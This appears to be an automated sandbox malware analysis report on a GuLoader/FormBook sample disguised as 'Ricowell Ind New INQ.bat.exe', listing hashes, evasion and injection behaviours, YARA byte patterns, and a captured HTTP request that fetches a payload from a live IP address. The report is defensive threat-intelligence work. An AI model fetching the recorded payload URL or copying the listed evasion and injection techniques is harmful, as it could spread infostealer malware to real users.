Edit tour

Windows Analysis Report
Ricowell Ind New INQ.bat.exe

Overview

General Information

Sample name:	Ricowell Ind New INQ.bat.exe
Analysis ID:	1510343
MD5:	4dd85e61424127b013bd9b3106b63fff
SHA1:	cb0a510edadbf4b6a495c8091f81a926adf6e1f0
SHA256:	6c9fcfe5c1673bf732478c3ca43d2d4f35837e116b002eff5bb92b1a4aafdaf3
Infos:

Detection

FormBook, GuLoader

Score:	88
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

Malicious sample detected (through community Yara rule)

Yara detected FormBook

Yara detected GuLoader

Found direct / indirect Syscall (likely to bypass EDR)

Maps a DLL or memory area into another process

Modifies the context of a thread in another process (thread injection)

Queues an APC in another process (thread injection)

Switches to a custom stack to bypass stack traces

Uses powercfg.exe to modify the power settings

Checks if the current process is being debugged

Contains functionality for execution timing, often used to detect debuggers

Contains functionality for read data from the clipboard

Contains functionality to access loader functionality (e.g. LdrGetProcedureAddress)

Contains functionality to call native functions

Contains functionality to dynamically determine API calls

Contains functionality to read the PEB

Contains functionality to shutdown / reboot the system

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected potential crypto function

Drops PE files

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

Found dropped PE file which has not been started or loaded

Found inlined nop instructions (likely shell or obfuscated code)

Found large amount of non-executed APIs

Found potential string decryption / allocating functions

May sleep (evasive loops) to hinder dynamic analysis

Sample execution stops while process was sleeping (likely an evasion)

Sample file is different than original file name gathered from version info

Suricata IDS alerts with low severity for network traffic

Uses 32bit PE files

Uses a known web browser user agent for HTTP communication

Uses code obfuscation techniques (call, push, ret)

Yara signature match

Classification

Process Tree

System is w10x64native

Ricowell Ind New INQ.bat.exe (PID: 4544 cmdline: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe" MD5: 4DD85E61424127B013BD9B3106B63FFF)

Ricowell Ind New INQ.bat.exe (PID: 3468 cmdline: "C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe" MD5: 4DD85E61424127B013BD9B3106B63FFF)

RAVCpl64.exe (PID: 6388 cmdline: "C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe" -s MD5: 731FB4B2E5AFBCADAABB80D642E056AC)

powercfg.exe (PID: 3124 cmdline: "C:\Windows\SysWOW64\powercfg.exe" MD5: 9D71DBDD3AD017EC69554ACF9CAADD05)

explorer.exe (PID: 4940 cmdline: C:\Windows\Explorer.EXE MD5: 5EA66FF5AE5612F921BC9DA23BAC95F7)

cleanup

Malware Threat Intel

Provided by

Name	Description	Attribution	Blogpost URLs	Link
Formbook, Formbo	FormBook contains a unique crypter RunPE that has unique behavioral patterns subject to detection. It was initially called "Babushka Crypter" by Insidemalware.	SWEED Cobalt	http://blog.inquest.net/blog/2018/06/22/a-look-at-formbook-stealer/ http://cambuz.blogspot.de/2016/06/form-grabber-2016-cromeffoperathunderbi.html http://www.vkremez.com/2018/01/lets-learn-dissecting-formbook.html https://0xmrmagnezi.github.io/malware%20analysis/FormBook/ https://any.run/cybersecurity-blog/xloader-formbook-encryption-analysis-and-malware-decryption/	https://malpedia.caad.fkie.fraunhofer.de/details/win.formbook

Name	Description	Attribution	Blogpost URLs	Link
CloudEyE, GuLoader	CloudEyE (initially named GuLoader) is a small VB5/6 downloader. It typically downloads RATs/Stealers, such as Agent Tesla, Arkei/Vidar, Formbook, Lokibot, Netwire and Remcos, often but not always from Google Drive. The downloaded payload is xored.	No Attribution	http://symantec-enterprise-blogs.security.com/blogs/threat-intelligence/bluebottle-banks-targeted-africa https://0x00sec.org/t/analyzing-modern-malware-techniques-part-3/18943 https://any.run/cybersecurity-blog/deobfuscating-guloader/ https://asec.ahnlab.com/en/55978/ https://blog.checkpoint.com/security/march-2023s-most-wanted-malware-new-emotet-campaign-bypasses-microsoft-blocks-to-distribute-malicious-onenote-files/	https://malpedia.caad.fkie.fraunhofer.de/details/win.cloudeye

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c110:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x141cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c110:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x141cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp	JoeSecurity_FormBook_1	Yara detected FormBook	Joe Security
00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp	Windows_Trojan_Formbook_1112e116	unknown	unknown	0x2c110:$a2: 74 0A 4E 0F B6 08 8D 44 08 01 75 F6 8D 70 01 0F B6 00 8D 55 0x141cf:$a3: 1A D2 80 E2 AF 80 C2 7E EB 2A 80 FA 2F 75 11 8A D0 80 E2 01
00000000.00000002.790743497304.0000000006DB1000.00000040.00001000.00020000.00000000.sdmp	JoeSecurity_GuLoader_2	Yara detected GuLoader	Joe Security
Click to see the 2 entries

Suricata Signatures

ETPRO MALWARE Common Downloader Header Pattern UHCa

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2024-09-12T21:15:57.006806+0200	2803270	2	Potentially Bad Traffic	192.168.11.30	49904	64.188.18.75	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

AV Detection

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

Source: Ricowell Ind New INQ.bat.exe

Static PE information: RELOCS_STRIPPED, EXECUTABLE_IMAGE, LINE_NUMS_STRIPPED, LOCAL_SYMS_STRIPPED, 32BIT_MACHINE

Source: Ricowell Ind New INQ.bat.exe

Static PE information: DYNAMIC_BASE, NX_COMPAT, NO_SEH, TERMINAL_SERVER_AWARE

Source:

Binary string: wntdll.pdb source: Ricowell Ind New INQ.bat.exe

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_0040603A FindFirstFileA,FindClose,	0_2_0040603A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_004055F6 CloseHandle,DeleteFileA,lstrcatA,lstrcatA,lstrlenA,FindFirstFileA,FindNextFileA,FindClose,	0_2_004055F6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_00402645 FindFirstFileA,	0_2_00402645

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 4x nop then mov ebx, 00000004h

3_2_375804E8

Source: Network traffic

Suricata IDS: 2803270 - Severity 2 - ETPRO MALWARE Common Downloader Header Pattern UHCa : 192.168.11.30:49904 -> 64.188.18.75:80

Source: global traffic

HTTP traffic detected: GET /oECYTcEKrYkcbcNjwFV1.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 64.188.18.75Cache-Control: no-cache

Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75
Source: unknown	TCP traffic detected without corresponding DNS query: 64.188.18.75

Source: global traffic

HTTP traffic detected: GET /oECYTcEKrYkcbcNjwFV1.bin HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:121.0) Gecko/20100101 Firefox/121.0Host: 64.188.18.75Cache-Control: no-cache

Source: Ricowell Ind New INQ.bat.exe, 00000003.00000002.790955824392.000000000765D000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://64.188.18.75/oECYTcEKrYkcbcNjwFV1.bin
Source: Ricowell Ind New INQ.bat.exe, Ricowell Ind New INQ.bat.exe, 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ricowell Ind New INQ.bat.exe, 00000000.00000000.789929379223.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_Error
Source: Ricowell Ind New INQ.bat.exe, 00000000.00000002.790741372394.0000000000409000.00000004.00000001.01000000.00000003.sdmp, Ricowell Ind New INQ.bat.exe, 00000000.00000000.789929379223.0000000000409000.00000008.00000001.01000000.00000003.sdmp	String found in binary or memory: http://nsis.sf.net/NSIS_ErrorError

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_0040515D GetDlgItem,GetDlgItem,GetDlgItem,GetDlgItem,GetClientRect,GetSystemMetrics,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,SendMessageA,ShowWindow,ShowWindow,GetDlgItem,SendMessageA,SendMessageA,SendMessageA,GetDlgItem,CreateThread,CloseHandle,ShowWindow,ShowWindow,ShowWindow,SendMessageA,CreatePopupMenu,AppendMenuA,GetWindowRect,TrackPopupMenu,SendMessageA,OpenClipboard,EmptyClipboard,GlobalAlloc,GlobalLock,SendMessageA,GlobalUnlock,SetClipboardData,CloseClipboard,

0_2_0040515D

E-Banking Fraud

Yara detected FormBook

Source: Yara match	File source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY

System Summary

Malicious sample detected (through community Yara rule)

Source: 00000006.00000002.792566222705.0000000003490000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000006.00000002.792566135956.0000000003440000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown
Source: 00000003.00000002.790967809533.00000000375B0000.00000040.10000000.00040000.00000000.sdmp, type: MEMORY	Matched rule: Windows_Trojan_Formbook_1112e116 Author: unknown

Uses powercfg.exe to modify the power settings

Source: C:\Program Files\Realtek\Audio\HDA\RAVCpl64.exe

Process created: C:\Windows\SysWOW64\powercfg.exe "C:\Windows\SysWOW64\powercfg.exe"

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C34E0 NtCreateMutant,LdrInitializeThunk,	3_2_378C34E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2EB0 NtProtectVirtualMemory,LdrInitializeThunk,	3_2_378C2EB0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2D10 NtQuerySystemInformation,LdrInitializeThunk,	3_2_378C2D10
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2B90 NtFreeVirtualMemory,LdrInitializeThunk,	3_2_378C2B90
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2BC0 NtQueryInformationToken,LdrInitializeThunk,	3_2_378C2BC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2A80 NtClose,LdrInitializeThunk,	3_2_378C2A80
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C4570 NtSuspendThread,	3_2_378C4570
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C4260 NtSetContextThread,	3_2_378C4260
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2FB0 NtSetValueKey,	3_2_378C2FB0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2F00 NtCreateFile,	3_2_378C2F00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2F30 NtOpenDirectoryObject,	3_2_378C2F30
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2E80 NtCreateProcessEx,	3_2_378C2E80
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2EC0 NtQuerySection,	3_2_378C2EC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2ED0 NtResumeThread,	3_2_378C2ED0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2E00 NtQueueApcThread,	3_2_378C2E00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2E50 NtCreateSection,	3_2_378C2E50
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2DA0 NtReadVirtualMemory,	3_2_378C2DA0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2DC0 NtAdjustPrivilegesToken,	3_2_378C2DC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2D50 NtWriteVirtualMemory,	3_2_378C2D50
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C3C90 NtOpenThread,	3_2_378C3C90
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2CD0 NtEnumerateKey,	3_2_378C2CD0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2CF0 NtDelayExecution,	3_2_378C2CF0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2C10 NtOpenProcess,	3_2_378C2C10
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2C20 NtSetInformationFile,	3_2_378C2C20
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C3C30 NtOpenProcessToken,	3_2_378C3C30
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2C30 NtMapViewOfSection,	3_2_378C2C30
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2C50 NtUnmapViewOfSection,	3_2_378C2C50
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2B80 NtCreateKey,	3_2_378C2B80
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2BE0 NtQueryVirtualMemory,	3_2_378C2BE0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2B00 NtQueryValueKey,	3_2_378C2B00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2B10 NtAllocateVirtualMemory,	3_2_378C2B10
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2B20 NtQueryInformationProcess,	3_2_378C2B20
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2AA0 NtQueryInformationFile,	3_2_378C2AA0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2AC0 NtEnumerateValueKey,	3_2_378C2AC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C2A10 NtWriteFile,	3_2_378C2A10
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C29D0 NtWaitForSingleObject,	3_2_378C29D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C29F0 NtReadFile,	3_2_378C29F0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C38D0 NtGetContextThread,	3_2_378C38D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_375935E9 NtSetContextThread,	3_2_375935E9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37593C2B NtResumeThread,	3_2_37593C2B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3759390C NtSuspendThread,	3_2_3759390C

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

Code function: 0_2_00403217 EntryPoint,#17,SetErrorMode,OleInitialize,SHGetFileInfoA,GetCommandLineA,GetModuleHandleA,CharNextA,GetTempPathA,GetTempPathA,GetWindowsDirectoryA,lstrcatA,GetTempPathA,lstrcatA,SetEnvironmentVariableA,SetEnvironmentVariableA,SetEnvironmentVariableA,DeleteFileA,OleUninitialize,ExitProcess,lstrcatA,lstrcmpiA,CreateDirectoryA,SetCurrentDirectoryA,DeleteFileA,CopyFileA,CloseHandle,GetCurrentProcess,ExitWindowsEx,ExitProcess,

0_2_00403217

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe

File created: C:\Windows\resources\0409

Jump to behavior

Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_00406310	0_2_00406310
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 0_2_0040499C	0_2_0040499C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37946757	3_2_37946757
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37892760	3_2_37892760
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789A760	3_2_3789A760
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890680	3_2_37890680
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794A6C0	3_2_3794A6C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794F6F6	3_2_3794F6F6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788C6E0	3_2_3788C6E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379036EC	3_2_379036EC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AC600	3_2_378AC600
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792D62C	3_2_3792D62C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793D646	3_2_3793D646
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B4670	3_2_378B4670
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379475C6	3_2_379475C6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794F5C9	3_2_3794F5C9
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795A526	3_2_3795A526
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890445	3_2_37890445
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37881380	3_2_37881380
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789E310	3_2_3789E310
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794F330	3_2_3794F330
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787D2EC	3_2_3787D2EC
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794124C	3_2_3794124C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378951C0	3_2_378951C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AB1E0	3_2_378AB1E0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3787F113	3_2_3787F113
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795010E	3_2_3795010E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792D130	3_2_3792D130
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378D717A	3_2_378D717A
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378C508C	3_2_378C508C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378800A0	3_2_378800A0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789B0D0	3_2_3789B0D0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_379470F1	3_2_379470F1
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793E076	3_2_3793E076
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794EFBF	3_2_3794EFBF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37941FC6	3_2_37941FC6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37896FE0	3_2_37896FE0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789CF00	3_2_3789CF00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794FF63	3_2_3794FF63
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37940EAD	3_2_37940EAD
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37891EB2	3_2_37891EB2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37949ED2	3_2_37949ED2
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37882EE8	3_2_37882EE8
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378B0E50	3_2_378B0E50
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37930E6D	3_2_37930E6D
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A2DB0	3_2_378A2DB0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37899DD0	3_2_37899DD0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3792FDF4	3_2_3792FDF4
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788AD00	3_2_3788AD00
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794FD27	3_2_3794FD27
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37947D4C	3_2_37947D4C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890D69	3_2_37890D69
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37929C98	3_2_37929C98
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A8CDF	3_2_378A8CDF
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AFCE0	3_2_378AFCE0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3795ACEB	3_2_3795ACEB
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37880C12	3_2_37880C12
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3789AC20	3_2_3789AC20
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3793EC4C	3_2_3793EC4C
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37893C60	3_2_37893C60
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794EC60	3_2_3794EC60
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37946C69	3_2_37946C69
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37904BC0	3_2_37904BC0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378CDB19	3_2_378CDB19
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_37890B10	3_2_37890B10
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794FB2E	3_2_3794FB2E
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794FA89	3_2_3794FA89
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378AFAA0	3_2_378AFAA0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794CA13	3_2_3794CA13
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794EA5B	3_2_3794EA5B
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3788E9A0	3_2_3788E9A0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_3794E9A6	3_2_3794E9A6
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378D59C0	3_2_378D59C0
Source: C:\Users\user\Desktop\Ricowell Ind New INQ.bat.exe	Code function: 3_2_378A6882	3_2_378A6882
